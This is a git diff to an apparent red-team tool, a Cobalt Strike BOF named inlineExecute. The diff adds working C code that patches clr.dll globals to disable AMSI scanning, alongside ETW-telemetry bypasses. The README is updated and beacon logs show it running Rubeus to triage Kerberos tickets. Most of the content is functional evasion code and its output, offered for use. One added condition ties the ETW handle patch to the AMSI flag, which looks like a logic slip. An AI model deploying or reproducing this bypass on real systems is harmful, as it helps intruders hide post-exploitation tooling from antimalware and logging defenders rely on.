diff --git a/README.md b/README.md index 03101d2..6eae105 100644 --- a/README.md +++ b/README.md @@ -1,22 +1,24 @@ # inlineExecute -inlineExecute is Cobalt Strike BOF that executes a .NET assembly in the current process (rather than spawning a sacrificial process with `execute-assembly`). +inlineExecute is a Cobalt Strike BOF that executes a .NET assembly in the current process (rather than spawning a sacrificial process with `execute-assembly`). It stands as a POC, and as a boilerplate to experiment with novel techniques in the future. ## ETW Bypass -Currently, it implements a novel ETW bypass technique: Provider Handle Patching. It is documented in my blog - [A Stealthier Reflective Loading](https://loland.cv/posts/2025-11-27-stealthier-reflective-loading/). +Currently, it implements the ETW bypass techniques: Provider Handle Patching and Subscriber Bit Patching. They are documented in my blog - [A Stealthier Reflective Loading](https://loland.cv/posts/2025-11-27-stealthier-reflective-loading/). -The Provider Handle Patching technique prevents ETW telemetry from being generated by userland hooks in `clr.dll`. +These techniques prevent ETW telemetry from being generated by userland hooks in `clr.dll`. Unlike traditional ETW patching techniques. This does not modify memory protections, and does not require suspicious WinAPIs like `WriteProcessMemory`, `NTWriteVirtualMemory`, `VirtualProtect`, `NtProtectVirtualMemory`. -## Usage +## AMSI Bypass +The BOF also implements an AMSI patch for `clr.dll`, that doesn't modify memory protections nor use suspicious WinAPIs. It works by modifying the `g_amsiContext` and `AmsiScanBuffer` global variables, which reside in R/W memory. +## Usage Load `inlineExecute.cna` from `Cobalt Strike -> Script Manager -> Load`. Ensure that `inlineExecute.o` and `inlineExecute.cna` are in the same directory. ```shell beacon> inlineExecute -[+] Usage: inlineExecute [-etwH] [-etwB] [-verbose] +[+] Usage: inlineExecute [-etwH] [-etwB] [-verbose] [-amsi] [-scan] ``` The `-etwH` and `-etwB` flags patches ETW via the Provider Handle Patching and Subscriber Bit Patching technique respectively. They can be used together or individually. @@ -31,65 +33,128 @@ The `-verbose` flag outputs debugging information. inlineExecute -verbose -etwB /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage ``` +The `-scan` flag displays the identified patchable values. These values are obtained from signatures in the x64 assembly. In an actual assessment, check that the values are correct as patching incorrect addresses may result in unexpected behaviour. + +``` +[12/09 22:45:47] beacon> inlineExecute -scan +[12/09 22:45:48] [+] host called home, sent: 20366 bytes +[12/09 22:45:48] [+] received output: +[+] clr.dll loaded: 00007FFBE67D0000 + +[12/09 22:45:48] [+] received output: +[+] clr.dll path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll + +[12/09 22:45:48] [+] received output: +[+] clr.dll build: 4.8.4515.0 + +[12/09 22:45:48] [+] received output: +[+] DotNETRuntimeHandle address: 00007FFBE72747F0 + +[12/09 22:45:48] [+] received output: +[+] DotNETRuntimeEnableBits address: 00007FFBE7262140 + +[12/09 22:45:48] [+] received output: +[+] AmsiScanBufferGlobal address: 00007FFBE727EE88 + +[12/09 22:45:48] [+] received output: +[+] amsiContext address: 00007FFBE727EE80 +``` + Example usage with `Rubeus.exe triage`. ```shell -[12/02 22:26:17] beacon> inlineExecute -etwB -etwH -verbose /home/kali/Ghostpack-CompiledBinaries/Rubeus.exe triage -[12/02 22:26:17] [+] Executing: /home/kali/Ghostpack-CompiledBinaries/Rubeus.exe -[12/02 22:26:17] [+] Arguments: triage -[12/02 22:26:17] [+] host called home, sent: 461058 bytes -[12/02 22:26:17] [+] received output: +[12/09 22:57:29] beacon> inlineExecute -etwB -etwH -amsi -verbose /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage +[12/09 22:57:29] [+] Executing: /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe +[12/09 22:57:29] [+] Arguments: triage +[12/09 22:57:31] [+] host called home, sent: 467348 bytes +[12/09 22:57:31] [+] received output: [+] Runtime info obtained -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: [+] Runtime is loadable -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: [+] ICorRuntimeHost obtained -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: [+] CLR started successfully -[12/02 22:26:17] [+] received output: -[+] DotNETRuntimeHandle address: 00007FFEA4140930 +[12/09 22:57:31] [+] received output: +[+] clr.dll path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll -[12/02 22:26:17] [+] received output: -[+] DotNETRuntimeHandle value: 7310c0 +[12/09 22:57:31] [+] received output: +[+] clr.dll build: 4.8.4515.0 -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: +[+] DotNETRuntimeHandle address: 00007FFBE72747F0 + +[12/09 22:57:31] [+] received output: +[+] DotNETRuntimeHandle value: 7e0cc620 + +[12/09 22:57:31] [+] received output: [+] DotNETRuntimeHandle patched: 1 -[12/02 22:26:17] [+] received output: -[+] DotNETRuntimeEnableBits address: 00007FFEA41311C0 +[12/09 22:57:31] [+] received output: +[+] DotNETRuntimeEnableBits address: 00007FFBE7262140 -[12/02 22:26:17] [+] received output: -[+] DotNETRuntimeEnableBits value: ffffffff +[12/09 22:57:31] [+] received output: +[+] DotNETRuntimeEnableBits value: 0 -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: [+] DotNETRuntimeEnableBits patched: 0 -[12/02 22:26:17] [+] received output: -[+] clr.dll loaded: 00007FFEA36A0000 +[12/09 22:57:31] [+] received output: +[+] Found "lea rdx, aAmsiScanBuffer" at 00007FFBE6DE1039 -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: +[+] Found "call cs:__imp_GetProcAddress" at 00007FFBE6DE1043 + +[12/09 22:57:31] [+] received output: +[+] Suspected "mov cs:?AmsiScanBuffer, " at 00007FFBE6DE1049 + +[12/09 22:57:31] [+] received output: +[+] Suspected "mov , cs:?g_amsiContext" at 00007FFBE6DE1050 + +[12/09 22:57:31] [+] received output: +[+] AmsiScanBufferGlobal address: 00007FFBE727EE88 + +[12/09 22:57:31] [+] received output: +[+] AmsiScanBufferGlobal value: 0000000000000001 + +[12/09 22:57:31] [+] received output: +[+] AmsiScanBufferGlobal patched: 00000299000D1990 (fakeAmsiScanBuffer) + +[12/09 22:57:31] [+] received output: +[+] amsiContext address: 00007FFBE727EE80 + +[12/09 22:57:31] [+] received output: +[+] amsiContext value: 0000000000000000 + +[12/09 22:57:31] [+] received output: +[+] amsiContext patched: 0000000000000001 + +[12/09 22:57:31] [+] received output: [+] Anonymous pipe created -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: [+] Console created and hidden -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: [+] Redirected stdout/stderr to pipe -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: [+] AppDomain Created -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: +[+] fakeAmsiScanBuffer called + +[12/09 22:57:31] [+] received output: [+] Assembly Loaded -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: [+] Assembly executed, reading output... -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: ______ _ @@ -104,7 +169,7 @@ Example usage with `Rubeus.exe triage`. Action: Triage Kerberos Tickets (Current User) -[*] Current LUID : 0x1e563 +[*] Current LUID : 0x44400 --------------------------------------- | LUID | UserName | Service | EndTime | @@ -112,12 +177,19 @@ Action: Triage Kerberos Tickets (Current User) --------------------------------------- -[12/02 22:26:17] [+] received output: -[+] DotNETRuntimeHandle value restored: 7310c0 -[12/02 22:26:17] [+] received output: -[+] DotNETRuntimeEnableBits value restored: ffffffff +[12/09 22:57:31] [+] received output: +[+] DotNETRuntimeHandle value restored: 7e0cc620 -[12/02 22:26:17] [+] received output: +[12/09 22:57:31] [+] received output: +[+] DotNETRuntimeEnableBits value restored: 0 + +[12/09 22:57:31] [+] received output: +[+] AmsiScanBufferGlobal value restored: 0000000000000001 + +[12/09 22:57:31] [+] received output: +[+] amsiContext value restored: 0000000000000000 + +[12/09 22:57:31] [+] received output: [+] Done ``` \ No newline at end of file diff --git a/inlineExecute/inlineExecute.cna b/inlineExecute/inlineExecute.cna index 0102e00..79dc211 100644 --- a/inlineExecute/inlineExecute.cna +++ b/inlineExecute/inlineExecute.cna @@ -1,6 +1,6 @@ # inlineExecute.cna -$help = "Usage: inlineExecute [-etwH] [-etwB] [-verbose] "; +$help = "Usage: inlineExecute [-etwH] [-etwB] [-amsi] [-verbose] [-scan] "; beacon_command_register( "inlineExecute", @@ -15,13 +15,14 @@ alias inlineExecute { $data = substr($0, $commandLength + 1); # +1 to include a " " space $dataLength = &strlen($data); - local('$bid $filepath $bof_args') - @args = split(' ', $data); $patchEtwProviderHandle = false; $patchEtwEnableBits = false; $verbose = false; + $patchAmsi = false; + $scan = false; + for ($i = 0; $i < size(@args); $i++) { if (@args[$i] iswm "-etwH") { $patchEtwProviderHandle = true; @@ -32,21 +33,34 @@ alias inlineExecute { } else if (@args[$i] iswm "-verbose") { $verbose = true; + } else if (@args[$i] iswm "-amsi") { + $patchAmsi = true; + + } else if (@args[$i] iswm "-scan") { + $scan = true; + } else { $filepath = @args[$i]; break; } } + $handle = openf(script_resource("inlineExecute.o")); + $bof = readb($handle, -1); + + if ($scan) { + @arr = @(); + $bof_args = bof_pack($1, "biziiiii", "", 0, "", 0, 0, 0, 0, $scan); + beacon_inline_execute($1, $bof, "go", $bof_args); + return; + } + $filepathLength = &strlen($filepath); if ($filepathLength == 0) { blog($1, $help); return; } - $handle = openf(script_resource("inlineExecute.o")); - $bof = readb($handle, -1); - $assemblyHandle = openf($filepath); $assemblyLength = lof($filepath); $assemblyBytes = readb($assemblyHandle, -1); @@ -65,7 +79,6 @@ alias inlineExecute { return; } - $bof_args = bof_pack($1, "biziii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtwProviderHandle, $patchEtwEnableBits, $verbose); - + $bof_args = bof_pack($1, "biziiiii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtwProviderHandle, $patchEtwEnableBits, $patchAmsi, $verbose, $scan); beacon_inline_execute($1, $bof, "go", $bof_args); -} \ No newline at end of file +} diff --git a/inlineExecute/inlineExecute.o b/inlineExecute/inlineExecute.o index 6380cde..1b3a84f 100644 Binary files a/inlineExecute/inlineExecute.o and b/inlineExecute/inlineExecute.o differ diff --git a/src/inlineExecute.c b/src/inlineExecute.c index 1282117..5e05e03 100644 --- a/src/inlineExecute.c +++ b/src/inlineExecute.c @@ -19,6 +19,11 @@ typedef HWND (WINAPI *_GetConsoleWindow)(VOID); typedef BOOL (WINAPI *_ShowWindow)(HWND, int); typedef BOOL (WINAPI *_FreeConsole)(VOID); typedef DWORD (WINAPI *_GetTickCount)(VOID); +typedef HMODULE (WINAPI *_LoadLibraryA)(LPCSTR lpLibFileName); +typedef DWORD (WINAPI *_GetModuleFileNameA)(HMODULE, LPSTR, DWORD); +typedef DWORD (WINAPI *_GetFileVersionInfoSizeA)(LPCSTR, LPDWORD); +typedef BOOL (WINAPI *_GetFileVersionInfoA)(LPCSTR, DWORD, DWORD, LPVOID); +typedef BOOL (WINAPI *_VerQueryValueA)(LPCVOID, LPCSTR, LPVOID, PUINT); // MSVCRT function declarations DECLSPEC_IMPORT int __cdecl MSVCRT$_wcsicmp(const wchar_t*, const wchar_t*); @@ -691,6 +696,218 @@ void turnOnEtwEnableBits(int* enableBitsAddr, int enableBitsVal) { *enableBitsAddr = enableBitsVal; } +int isCallGetProcAddress(unsigned char* addr, void* getProcAddress_addr) { + // match "call" + if (addr[0] != 0xff || addr[1] != 0x15) { + return 0; + } + + int iatOffset = *(DWORD*)(addr + 2); + unsigned char* rip = addr + 6; + unsigned char* iatAddress = (rip + iatOffset); + + // match "cs:__imp_GetProcAddress" + if (*(DWORD**)iatAddress != getProcAddress_addr) { + return 0; + } + + return 1; +} + +int isLeaAmsiScanBuffer(unsigned char* addr) { + // lea rdx, aAmsiinitialize ; "AmsiInitialize" + if (addr[0] != 0x48 || addr[1] != 0x8d || addr[2] != 0x15) { + return 0; + } + + unsigned char* rip = addr + 7; + int offset = *(DWORD*)(addr + 3); + char* string = rip + offset; + + if (MSVCRT$strcmp("AmsiScanBuffer", string) != 0) { + return 0; + } + + return 1; +} + +int isMovAmsiScanBufferGlobal(unsigned char* addr) { + // mov cs:?AmsiScanBuffer, + return addr[0] == 0x48 && addr[1] == 0x89; +} + +int isMovAmsiContext(unsigned char* addr) { + // mov , cs:?g_amsiContext + return addr[0] == 0x48 && addr[1] == 0x8b; +} + +int fakeAmsiScanBuffer() { + BeaconPrintf(CALLBACK_OUTPUT, "[+] fakeAmsiScanBuffer called\n"); + return 1; // fake a "scan failed" +} + +int findAmsiGlobals(long long* p_AmsiScanBufferGlobal, long long* p_amsiContext, size_t verbose) { + int SEARCH_MAX_BYTES = 20; + + void* clrBase = getImageBase(L"clr.dll"); + int clrSize = getImageSize(clrBase); + + HMODULE kernel32 = LoadLibraryA("kernel32.dll"); + void* getProcAddress_addr = GetProcAddress(kernel32, "GetProcAddress"); + + for (int i = 0; i < clrSize; i++) { + unsigned char* addr = (unsigned char*)clrBase + i; + + if (!isLeaAmsiScanBuffer(addr)) { + continue; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Found \"lea rdx, aAmsiScanBuffer\" at %p\n", addr); + } + addr += 7; + + // checks the next 20 bytes for this signature + // call cs:__imp_GetProcAddress + for (int i = 0; i < SEARCH_MAX_BYTES; i++) { + if (isCallGetProcAddress(addr, getProcAddress_addr)) { + break; + } + if (i == SEARCH_MAX_BYTES - 1) { + return 0; + } + addr += 1; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Found \"call cs:__imp_GetProcAddress\" at %p\n", addr); + } + addr += 6; + + // checks the next 20 bytes for this signature + // mov cs:?AmsiInitialize, + for (int i = 0; i < SEARCH_MAX_BYTES; i++) { + if (isMovAmsiScanBufferGlobal(addr)) { + break; + } + if (i == SEARCH_MAX_BYTES - 1) { + return 0; + } + addr += 1; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Suspected \"mov cs:?AmsiScanBuffer, \" at %p\n", addr); + } + // printf("%p: %x %x %x\n", addr, addr[0], addr[1], addr[2]); + + unsigned char* rip = addr + 7; + int offset = *(int*)(addr + 3); + *p_AmsiScanBufferGlobal = (long long)(rip + offset); + + addr += 7; + for (int i = 0; i < SEARCH_MAX_BYTES; i++) { + if (isMovAmsiContext(addr)) { + break; + } + if (i == SEARCH_MAX_BYTES - 1) { + return 0; + } + addr += 1; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Suspected \"mov , cs:?g_amsiContext\" at %p\n", addr); + } + + rip = addr + 7; + offset = *(int*)(addr + 3); + *p_amsiContext = (long long)(rip + offset); + + return 1; + } + + return 0; +} + +void turnOffAmsi(long long p_AmsiScanBufferGlobal, long long p_amsiContext, long long* p_savedAmsiScanBuffer, long long* p_savedAmsiContext) { + *p_savedAmsiScanBuffer = *(long long*)p_AmsiScanBufferGlobal; + *p_savedAmsiContext = *(long long*)p_amsiContext; + + *(long long*)p_AmsiScanBufferGlobal = (long long)fakeAmsiScanBuffer; + *(long long*)p_amsiContext = 1; +} + +void turnOnAmsi(long long p_AmsiScanBufferGlobal, long long p_amsiContext, long long p_savedAmsiScanBuffer, long long p_savedAmsiContext) { + *(long long*)p_AmsiScanBufferGlobal = p_savedAmsiScanBuffer; + *(long long*)p_amsiContext = p_savedAmsiContext; +} + +void printClrVersion(HMODULE clrBase) { + HMODULE kernel32Base = getImageBase(L"KERNEL32.DLL"); + _LoadLibraryA loadLibraryA = (_LoadLibraryA)getProcAddr(kernel32Base, "LoadLibraryA"); + _GetModuleFileNameA getModuleFileNameA = (_GetModuleFileNameA)getProcAddr(kernel32Base, "GetModuleFileNameA"); + + char clrPath[512] = {0}; + int len = getModuleFileNameA(clrBase, clrPath, (DWORD)sizeof(clrPath)); + + HMODULE hVersion = loadLibraryA("version.dll"); + + _GetFileVersionInfoSizeA getFileVersionInfoSizeA = (_GetFileVersionInfoSizeA)getProcAddr(hVersion, "GetFileVersionInfoSizeA"); + DWORD dummy = 0; + DWORD verSize = getFileVersionInfoSizeA(clrPath, &dummy); + void *verData = MSVCRT$malloc(verSize); + + _GetFileVersionInfoA getFileVersionInfoA = (_GetFileVersionInfoA)getProcAddr(hVersion, "GetFileVersionInfoA"); + getFileVersionInfoA(clrPath, 0, verSize, verData); + + VS_FIXEDFILEINFO *pInfo = NULL; + UINT infoLen = 0; + _VerQueryValueA verQueryValueA = (_VerQueryValueA)getProcAddr(hVersion, "VerQueryValueA"); + verQueryValueA(verData, "\\", (LPVOID*)&pInfo, &infoLen); + + DWORD ms = pInfo->dwFileVersionMS; + DWORD ls = pInfo->dwFileVersionLS; + DWORD major = HIWORD(ms); + DWORD minor = LOWORD(ms); + DWORD build = HIWORD(ls); + DWORD revision = LOWORD(ls); + + BeaconPrintf(CALLBACK_OUTPUT, "[+] clr.dll path: %s\n", clrPath); + BeaconPrintf(CALLBACK_OUTPUT, "[+] clr.dll build: %u.%u.%u.%u\n", major, minor, build, revision); +} + +// display all patchable addresses and clr version +void doScan() { + HMODULE clrBase = getImageBase(L"clr.dll"); + if (clrBase == NULL) { + HMODULE kernel32Base = getImageBase(L"KERNEL32.DLL"); + _LoadLibraryA loadLibraryA = (_LoadLibraryA)getProcAddr(kernel32Base, "LoadLibraryA"); + clrBase = loadLibraryA("clr.dll"); + + if (clrBase == NULL) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Unable to load clr.dll - Exiting\n"); + return; + } + } + + BeaconPrintf(CALLBACK_OUTPUT, "[+] clr.dll loaded: %p\n", clrBase); + + printClrVersion(clrBase); + + int* handleAddr = findDotNetRuntimeHandle(); + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle address: %p\n", handleAddr); + + int* enableBitsAddr = findDotNETRuntimeEnableBits(); + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits address: %p\n", enableBitsAddr); + + long long p_AmsiScanBufferGlobal = 0; + long long p_amsiContext = 0; + findAmsiGlobals(&p_AmsiScanBufferGlobal, &p_amsiContext, 0); + BeaconPrintf(CALLBACK_OUTPUT, "[+] AmsiScanBufferGlobal address: %p\n", p_AmsiScanBufferGlobal); + BeaconPrintf(CALLBACK_OUTPUT, "[+] amsiContext address: %p\n", p_amsiContext); +} + void go(char *args, int len) { // parse arguments datap parser; @@ -700,7 +917,14 @@ void go(char *args, int len) { char* assemblyArgs = BeaconDataExtract(&parser, NULL); size_t patchEtwHandle = BeaconDataInt(&parser); size_t patchEtwEnableBits = BeaconDataInt(&parser); + size_t patchAmsi = BeaconDataInt(&parser); size_t verbose = BeaconDataInt(&parser); + size_t scan = BeaconDataInt(&parser); + + if (scan) { + doScan(); + return; + } if (assemblyLength == 0) { return; @@ -719,10 +943,15 @@ void go(char *args, int len) { return; } + if (verbose) { + HMODULE clrBase = getImageBase(L"clr.dll"); + printClrVersion(clrBase); + } + // provider handle patching int* handleAddr; int handleVal; - if (patchEtwHandle) { + if (patchAmsi && patchEtwHandle) { handleAddr = findDotNetRuntimeHandle(); turnOffEtwHandle(handleAddr, &handleVal); @@ -732,8 +961,8 @@ void go(char *args, int len) { BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle patched: %x\n", *handleAddr); } } - + // enable bits patching int* enableBitsAddr; int enableBitsVal; if (patchEtwEnableBits) { @@ -747,12 +976,36 @@ void go(char *args, int len) { } } + // load amsi.dll first to pre-patch the dll + // HMODULE amsiBase = NULL; + // if (patchAmsi) { + // _LoadLibraryA loadLibraryA = (_LoadLibraryA)getProcAddr(kernel32Base, "LoadLibraryA"); + // amsiBase = loadLibraryA("amsi.dll"); + // if (verbose && amsiBase) { + // BeaconPrintf(CALLBACK_OUTPUT, "[+] amsi.dll loaded: %p\n", amsiBase); + // } else if (verbose) { + // BeaconPrintf(CALLBACK_OUTPUT, "[+] amsi.dll not loaded\n"); + // } + // } - if (verbose) { - HMODULE clrBase = getImageBase(L"clr.dll"); - BeaconPrintf(CALLBACK_OUTPUT, "[+] clr.dll loaded: %p\n", clrBase); + // amsi patching + long long p_AmsiScanBufferGlobal = 0; + long long p_amsiContext = 0; + long long p_savedAmsiScanBuffer; + long long p_savedAmsiContext; + if (patchAmsi && findAmsiGlobals(&p_AmsiScanBufferGlobal, &p_amsiContext, verbose)) { + turnOffAmsi(p_AmsiScanBufferGlobal, p_amsiContext, &p_savedAmsiScanBuffer, &p_savedAmsiContext); + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] AmsiScanBufferGlobal address: %p\n", p_AmsiScanBufferGlobal); + BeaconPrintf(CALLBACK_OUTPUT, "[+] AmsiScanBufferGlobal value: %p\n", p_savedAmsiScanBuffer); + BeaconPrintf(CALLBACK_OUTPUT, "[+] AmsiScanBufferGlobal patched: %p (fakeAmsiScanBuffer)\n", *(long long*)p_AmsiScanBufferGlobal); + + BeaconPrintf(CALLBACK_OUTPUT, "[+] amsiContext address: %p\n", p_amsiContext); + BeaconPrintf(CALLBACK_OUTPUT, "[+] amsiContext value: %p\n", p_savedAmsiContext); + BeaconPrintf(CALLBACK_OUTPUT, "[+] amsiContext patched: %p\n", *(long long*)p_amsiContext); + } } - + // create pipes HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; @@ -836,6 +1089,15 @@ void go(char *args, int len) { BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits value restored: %x\n", *enableBitsAddr); } } + + // restore p_amsiContext and p_AmsiScanBufferGlobal + if (patchAmsi && p_AmsiScanBufferGlobal && p_amsiContext) { + turnOnAmsi(p_AmsiScanBufferGlobal, p_amsiContext, p_savedAmsiScanBuffer, p_savedAmsiContext); + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] AmsiScanBufferGlobal value restored: %p\n", *(long long*)p_AmsiScanBufferGlobal); + BeaconPrintf(CALLBACK_OUTPUT, "[+] amsiContext value restored: %p\n", *(long long*)p_amsiContext); + } + } BeaconPrintf(CALLBACK_OUTPUT, "[+] Done\n"); } \ No newline at end of file